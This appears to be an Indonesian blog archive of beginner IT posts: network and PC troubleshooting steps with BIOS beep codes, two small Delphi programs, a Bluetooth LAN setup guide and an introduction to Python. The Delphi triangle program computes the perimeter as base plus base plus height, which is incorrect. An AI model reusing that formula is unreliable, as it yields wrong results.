Kita misalkan sebuah komputer di kantor mining (harap mengacu pada gambar diatas) tidak dapat terhubung dengan jaringan, bagaimana anda melakukan troubleshooting masalah jaringan ini?

Untuk memudahkan troubleshooting masalah jaringan, sudah seharusnya anda mempunyai dokumentasi jaringan dari mulai diagram jaringan secara keseluruhan, system infrastructure fisik dan logical anda seperti system layanan directory, server domain name system, layanan DHCP server jaringan, dan lain-2.

Anda bisa memulai troubleshooting masalah jaringan ini sebagai berikut:


1. Apakah user bisa logon dan bisa mengakses resource jaringan?

a. TIDAK, apakah anda bisa logon menggunakan user admin account anda dan mengakses resource jaringan?
i. YA, periksa user account tersebut apakah masih valid, apakah user-name dan password sudah benar, apakah user-account tidak expired atau mungkin account lock-out yang biasanya dibarengi dengan system error waktu logon.

ii. TIDAK, berarti ada masalah, lanjut ke step 2
b. YA, berarti tidak ada masalah


2. Logon ke komputer dengan menggunakan local admin account, dan periksa konfigurasi protocol TCP/IP dengan command line “ipconfig /all” periksa hasilnya apa komputer sudah mendapatkan IP address dari DHCP server atau tidak? Periksa property TCP/IP nya apakah sudah di setup untuk menerima IP address otomatis “obtain an IP address automatically” dan juga “obtain DNS server automatically”

a. Jika setup nya salah, betulkan terlebih dahulu untuk menerima IP address secara automatis. Lompat kembali pada step 1.

b. Jika konfigurasi normal, tetapi tidak menerima IP address, lanjutkan pada step 3


3. Periksa apakah kabel patch ke tembok (kearah Swich) terputus atau tidak, atau mungkin lepas?

a. YA, jika kabel patch terputus, ganti dengan kabel yang bagus. Jika kabel terlepas, colokkan kembali dengan benar, lalu kembali ke step 1

b. TIDAK, periksa apakah indicator lampu led pada adapter LAN/NIC pada komputer berkedip atau tidak, biasanya ada dua lampu led – lampu jaringan yang selalu berkedip dan lampu power yang biasanya berwarna hijau konstan. Jika kedua lampu led indicator nyala, maka tidak ada masalah dengan jaringan.


Apakah lampu indicator jaringan berkedip atau tidak?

i. YA, seharusnya tidak ada masalah dengan jaringan.

ii. TIDAK, teruskan ke step 4


4. Logon dengan menggunakan account admin local dan periksa apakah “LAN Card” di-disabled?

a. YA, berarti masalahnya LAN card disabled, anda bisa klik kanan dan pilih opsi “enabled” terus test lagi dengan melakukan “ipconfig /all” apakah IP address sudah diterima? Kalau belum, coba lagi dengan command “ipconfig /renew”, jika sudah dapat berarti sudah OK.

b. TIDAK, lanjutkan ke step 5


5. Ganti kabel patch dengan yang baru/bagus, apalah sekarang anda bisa logon dan mengakses resource jaringan?

a. YA, maka sampai disini anda menyelesaikan masala.

b. TIDAK, ada tiga kemungkinan sumber masalah:

i. NIC adapter rusak

ii. Port Switch faulty

iii. Kabel LAN antara sambungan di tembok ke Swicth bermasalah, bisa jadi kabel tersebut diserang / digigit tikus.


6. Jika anda ada LAN tester, itu akan memudahkan anda, anda bisa melakukan testing ke port RJ45 di wall-jack (sambungan ditembok), apakah ada sinyal LAN?

a. YA, jika line jaringan sudah OK, maka bisa dipastikan LAN adapter rusak. Ganti NIC adapter dan lompat ke step 1.

b. TIDAK, anda bisa memastikan sekarang bahwa sumber masalah adalah kabel antara sambungan di tembok (wall-jack) dengan Switch bermasalah. Anda bisa meminta teknisi kabel untuk menarik kabel baru antara wall-jack ke switch.


7. Selamat anda telah menyelesaikan troubleshooting masalah jaringan pada sebuah komputer yang tidak bisa mengkases jaringan.




Satu blok gedung tidak bisa mengakses jaringan

Troubleshooting masalah jaringan yang berdampak pada satu blok gedung tidak bisa mengakses jaringan akan lebih mudah troubleshootingnya akan tetapi lebih lama memperbaikinya. Jika saja anda membuat system redundansi link antar dua gedung tersebut, maka satu kabel bermasalah tidak akan membuat jaringan backbone anda terputus total, akan tetapi tetap saja anda harus memperbaikinya.

Lihat pada diagram diatas, antar dua gedung ditarik dua kabel backbone redundansi dengan mengaktifkan protocol STP (spanning tree protocol) pada kedua Switch sehingga jika terjadi masalah/terputus salah satu kabel, maka system jaringan hanya memerlukan beberapa detk saja untuk mengaktifkan kabel redundansi satunya lagi sehingga jaringan aktif kembali. Inilah fungsi protocol STP yang bekerja secara automatis, akan tetapi jika protocol STP ini tidak aktif maka anda akan mendapatkan masalah dengan broadcast storm, paket akan berputar-putar tanpa henti sampai kecapekan sendiri, da akibatnya jaringan anda menjadi super lambat.

Sekarang bagaimana anda bisa melakukan troubleshooting masalah jaringan jika seluruh jaringan local anda tidak bisa mengakses keluar Internet? Atau bagaimana anda melakukan troubleshooting jika telecommuter tidak bisa mengakses jaringan corporate secara remote?

Gunakan tool seperti: tracert; ping; dan pathping; ketiganya sangat efektif untuk membantu kita melakukan troubleshooting masalah jaringan antar site. Mungkin saja ada masalah dengan circuit switch frame relay di central office, atau jaringan leasing point-to-point anda ke ISP, atau bisa saja ada masalah dengan jaringan satellite anda (jika anda di remote site). Dan biasanya anda perlu troubleshooting pada layer network pada model referensi OSI.

Salam,

TROUBLESHOOTING PADA KOMPUTER

Terdapat dua macam teknik dalam mendeteksi permasalahan dalam komputer, yaitu teknik Forward dan teknik Backward. Untuk lebih mengenal kedua teknik tersebut, ada baiknya kita bahas terlebih dahulu definisi dari masing-masing teknik tersebut.

1. Teknik Forward

Sesuai dengan namanya, maka dalam teknik ini segala macam permasalahan dideteksi semenjak awal komputer dirakit dan biasanya teknik ini hanya digunakan oleh orang-orang dealer komputer yang sering melakukan perakitan komputer. Pada teknik ini hanya dilakukan pendeteksian masalah secara sederhana dan dilakukan sebelum komputer dinyalakan (dialiri listrik). Untuk mempermudah silakan simak contoh berikut :

* Setelah komputer selesai dirakit, maka dilakukan pemeriksaan pada semua Hardware yang telah terpasang, misalnya memeriksa hubungan dari kabel Power Supply ke soket power pada Motherboard.
* Untuk casing ATX, kita periksa apakah kabel Power Switch sudah terpasang dengan benar.
* dsb.

2. Teknik Backward

Hampir sama dengan teknik sebelumnya, teknik Backward adalah teknik untuk mendeteksi kesalahan pada komputer setelah komputer dinyalakan (dialiri listrik). Teknik lebih banyak digunakan karena pada umumnya permasalahan dalam komputer baru akan timbul setelah “jam terbang” komputernya sudah banyak dan ini sudah merupakan hal yang wajar. Dapat kita ambil beberapa contoh sebagai berikut :

* Floppy Disk yang tidak dapat membaca disket dengan baik.
* Komputer tidak mau menyala saat tombol power pada casing ditekan.
* dsb.



Analisa Suara

Pada tahapan ini pendeteksian masalah menggunakan kode suara (beep) yang dimiliki oleh BIOS dan dapat kita dengar lewat PC Speaker. Pastikan kabel PC Speaker sudah terpasang dengan baik. Kemungkinan letak permasalahan ada di komponen nomor 4 dan 5. Untuk mempermudah pengenalan kode suara tersebut, silakan simak keterangan berikut :

* Bunyi beep pendek satu kali, artinya sistem telah melakukan proses Boot dengan baik.
* Bunyi beep pendek 2 kali, artinya ada masalah pada konfigurasi atau seting pada CMOS.
* Bunyi beep panjang 1 kali dan pendek 1 kali, artinya ada masalah pada Motherboard atau DRAM.
* Bunyi beep panjang 1 kali dan pendek 2 kali, artinya ada masalah pada monitor atau VGA Card.
* Bunyi beep panjang 1 kali dan pendek 3 kali, artinya ada masalah pada Keyboard.
* Bunyi beep panjang 1 kali dan pendek 9 kali, artinya ada masalah pada ROM BIOS.
* Bunyi beep panjang terus-menerus, artinya ada masalah di DRAM.
* Bunyi beep pendek terus-menerus, artinya ada masalah penerimaan tegangan (power).
* Pada beberapa merk Motherboard akan mengeluarkan bunyi beep beberapa kali apabila temperatur processornya terlalu tinggi (panas).

Catatan : kode bunyi beep diatas berlaku pada AWARD BIOS, untuk jenis BIOS yang lain kemungkinan memiliki kode bunyi beep yang berbeda.



Analisa Tampilan

Pada tahapan ini pendeteksian masalah cenderung lebih mudah karena letak permasalahan dapat diketahui berdasarkan pesan error yang ditampilkan di monitor. Kemungkinan letak permasalahan ada di komponen nomor 6 sampai 9.

Contoh : Pada saat komputer dinyalakan tampil pesan Keyboard Error, maka dapat dipastikan letak permasalahan hanya pada Keyboard.
Cara Cepat Mengenali Troubleshooting

* Apabila terjadi masalah dan sistem masih memberikan tampilan pesan pada monitor atau disertai dengan bunyi beep 1 atau 2 kali, maka kemungkinan letak permasalahan ada di komponen nomor 6 sampai 9, yaitu pada Keyboard, Card I/O, Disk Drive dan Disket.
* Apabila terjadi masalah dan sistem memberikan kode bunyi beep lebih dari 2 kali, maka kemungkinan letak permasalahan ada di komponen nomor 4 dan 5, yaitu RAM, VGA Card dan Monitor.
* Sedangkan untuk masalah yang tidak disertai pesan pada monitor atau kode bunyi beep, kemungkinan besar letak permasalahan ada di komponen nomor 1 dan 2, yaitu Power Suplly dan Motherboard.


Dengan kedua macam teknik dalam pendeteksian maslah dalam komputer tersebut, tentunya akan lebih memperkaya pengetahuan kita di bidang komputer, jadi jika suatu saat terdapat masalah pada komputer Anda kita dapat melakukan pemeriksaan terlebih dahulu sebelum membawa ke tempat servis, kalaupun harus membawa ke tempat servis kita sudah mengerti letak permasalahannya, jadi kita tidak dibohongi oleh tukang servis yang nakal ; )

Dengan pemahaman troubleshooting komputer yang lebih dalam tentunya akan lebih mempermudah kita untuk mengetahui letak permasalahan dalam komputer dan tentunya akan lebih menyenangkan apabila kita dapat memperbaiki sendiri permasalahan tersebut. Semoga pembahasan sederhana tentang troubleshooting ini dapat bermanfaat,
selamat mencoba dan terima kasih.

Delphi Menghitung Luas dan Keliling Segitiga

var
Form1: TForm1;
a,b,kel,luas:Single;
implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
a:=StrToFloat(txtAlas.Text);
b:=StrToFloat(txtTinggi.Text);

kel:=a+a+b;
luas:=a*b/2;

txtKel.Text:=(FloatToStr(kel));
txtLuas.Text:=(FloatToStr(luas));

end;

end.

Delphi Membuat Kalkulator Sederhana





Kalkulator Sederhana yang pernah Saya Buat
Ni Listingnya:


var
Form1: TForm1;
a,b,z:double;
implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
a:=StrToFloat(txtVal1.Text);
b:=StrToFloat(txtVal2.Text);
z:=a+b;

ShowMessage(FloatToStr(z));
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
a:=StrToFloat(txtVal1.Text);
b:=StrToFloat(txtVal2.Text);
z:=a-b;

ShowMessage(FloatToStr(z));
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
a:=StrToFloat(txtVal1.Text);
b:=StrToFloat(txtVal2.Text);
z:=a*b;

ShowMessage(FloatToStr(z));
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
a:=StrToFloat(txtVal1.Text);
b:=StrToFloat(txtVal2.Text);
z:=a/b;

ShowMessage(FloatToStr(z));
end;

end.

Membuat Jaringan(LAN) dengan Bluetooth

Tuesday, March 9, 2010

Ternyata bluetooth juga selain untuk berkirim dan menerima data juga bisa dijadikan untuk LAN atau sering disebut local area network atau dalam bahasa indonesianya disebut jaringan..
untuk membuat jaringan dengan bluetooth caranya seperti ini:

1.siapkan 2 buah bluetooth(kalo kita hanya ingin membuat jaringan dengan 2 komputer) beserta drivernya

2.pasang bluetooth di USB computer lalu install bluetooth seperti biasa..

3.jika installasi sudah sukses..biasanya akan muncul icon bluetooth di tray bar.kalo warnanya sudah putih berarti bluetooth aktif dan siap digunakan.tapi jika masih merah berarti bluetooth belum aktif.maka yang harus kita lakukan adalah klik kanan iconnya lalu pilih start bluetooth device.

4.coba pairing(menghubungkan) antara 1 computer dengan computer lain.caranya klik kanan icon bluetooth pilih quick connect-network acces-other device..silakan tuggu sebentar,bluetooth sedang mencari perangkat yang aktif..
Jika ada perangkat yang aktif maka akan muncul nama komputer,klik nama komputer itu.biasanya saat pertama kali pairing akan diminta memasukkan code tertentu..masukkan saja sembarang code tapi ingat code yang dimasukkan harus sama antara satu komputer dengan komputer lainnya...

5.Jika sukses maka akan keluar tulisan "created network with..."

6.sekarang komputer anda sudah siap untuk saling bertukar data.

7.Tetapi biasanya untuk sharing internet masih belum bisa.kita harus melakukan settingan tertentu.. caranya pilih control panel-network connection-pilih coneksi yang kamu pakai,trus klik kanan pilih properties-advanced.disana akan ada pilihan internet connection sharing.
aktifkan pilihan "allow other network users to connect through this computer internet's connection"..lalu di kotak home network connection pilih "bluetooth network"
sekarang anda sudah siap berselancar internet dengan 2 komputer tanpa direpotkan oleh kabel...

jika ada pertanyaan silahkan isi kotak komentar..

catatan:biasanya untuk setiap bluetooth pilihannya berbeda beda.tapi pada intinya yang penting ada pilihan network acces,berarti bluetooth itu bisa dijadikan jaringan..

Mengenal Bahasa Python



Python dikembangkan oleh Guido van Rossum pada tahun 1990 di CWI, Amsterdam sebagai kelanjutan dari bahasa pemrograman ABC. Versi terakhir yang dikeluarkan CWI adalah 1.2. Tahun 1995, Guido pindah ke CNRI sambil terus melanjutkan pengembangan Python.
Versi terakhir yang dikeluarkan adalah 1.6. Tahun 2000, Guido dan para pengembang inti Python pindah ke BeOpen.com yang merupakan sebuah perusahaan komersial dan membentuk BeOpen PythonLabs. Python 2.0 dikeluarkan oleh BeOpen. Setelah mengeluarkan Python 2.0, Guido dan beberapa anggota tim PythonLabs pindah ke DigitalCreations.

Nama Python dipilih oleh Guido sebagai nama bahasa ciptaannya karena kecintaan guido pada acara televisi Monty Python's Flying Circus
Fitur

Python adalah bahasa pemrograman dinamis yang mendukung pemrograman berorientasi obyek. Python dapat digunakan untuk berbagai keperluan pengembangan perangkat lunak dan dapat berjalan di berbagai platform sistem operasi. Seperti halnya bahasa pemrograman dinamis, python seringkali digunakan sebagai bahasa skrip dengan interpreter yang teintergrasi dalam sistem operasi. Saat ini kode python dapat dijalankan pada sistem berbasis:
* Linux/Unix * Windows
* Mac OS X * OS/2
* Amiga * Palm OS
* Symbian (untuk produk-produk Nokia)


Beberapa fitur yang dimiliki Python adalah:
- memiliki kepustakaan yang luas; dalam distribusi Python telah disediakan modul-modul 'siap pakai' untuk berbagai keperluan.
- memiliki tata bahasa yang jernih dan mudah dipelajari.
- memiliki aturan layout kode sumber yang memudahkan pengecekan, pembacaan kembali dan penulisan ulang kode sumber.
- berorientasi obyek.
- memiliki sistem pengelolaan memori otomatis (garbage collection, seperti java)
- modular, mudah dikembangkan dengan menciptakan modul-modul baru; modul-modul tersebut dapat dibangun dengan bahasa Python maupun C/C++.


Mendengar kata Python, yang selalu terbayang adalah jenis ular yang besar dan populer. Di dunia pemrograman, Python juga merupakan sesuatu yang populer, walaupun tingkat popularitas bahasa pemrograman Python mungkin tidak setinggi Java atau PHP. Tetapi, sejak mulai dikembangkan pada akhir tahun 1980-an oleh Guido Van Rossum, Python tidak surut dengan pergerakan teknologi yang pesat, bahkan Python terus mengalami kemajuan dan perbaikan yang signifikan. Hingga saat ini, update terakhir adalah pada 17 Agustus 2009 yang lalu, saat Python 3.1.1 dirilis.

Python tidaklah berbisa. Kita semua tahu bahwa ular Python tidak berbisa, tetapi tetap saja mematikan. Hubungannya apa ya? Bahasa pemrograman Python juga tidak berbisa alias sangat friendly, tetapi mampu membuat killer application. Agar anda langsung memperoleh gambaran dan fakta yang jelas mengenai kemampuannya,

berikut beberapa aplikasi populer yang dibuat dengan Python :

1. BitTorrent.
Merupakan aplikasi yang tentu sudah tidak asing lagi (terutama bagi anda yang memiliki koneksi internet unlimited), yaitu sebuah program peer-to-peer untuk melakukan upload/download file melalui protokol BitTorrent. Awalnya, BitTorrent ditulis dengan Python dan merupakan software gratis. Tetapi, sejak versi 6.0 ke atas, BitTorrent ditulis dengan menggunakan C++ dan merupakan software proprietary.

2. Yum.
Yellow dog Updater, Modified atau dikenal dengan YUM, merupakan sebuah utiliti RPM manajemen paket berbasis command line yang dikenal pada sistem operasi Linux. Eksistensi Python memang sudah cukup dikenal pada distro-distro Linux, juga sering digunakan sebagai bahasa scripting yang embedded pada berbagai aplikasi, diantaranya GIMP, Rhyhmbox, dan Vim.

3. Plone.
Merupakan salah satu Content Management System (CMS) yang memiliki tingkat security yang sangat baik dan memiliki berbagai fitur yang menarik.

4. Civilization 4.
Game komputer dengan genre strategi dan telah dirilis dengan berbagai bahasa. Game ini menggunakan Python untuk melakukan berbagai fungsi, seperti menghasilkan peta, event, dan berbagai interface pada game tersebut.

Dan masih banyak lagi contoh lainnya. Python tidak terbatas untuk pembuatan aplikasi tertentu. Selain contoh-contoh aplikasi populer diatas, berbagai aplikasi seperti instant messaging, database, media player, web framework, dan lainnya, juga dapat dihasilkan oleh bahasa pemrograman Python.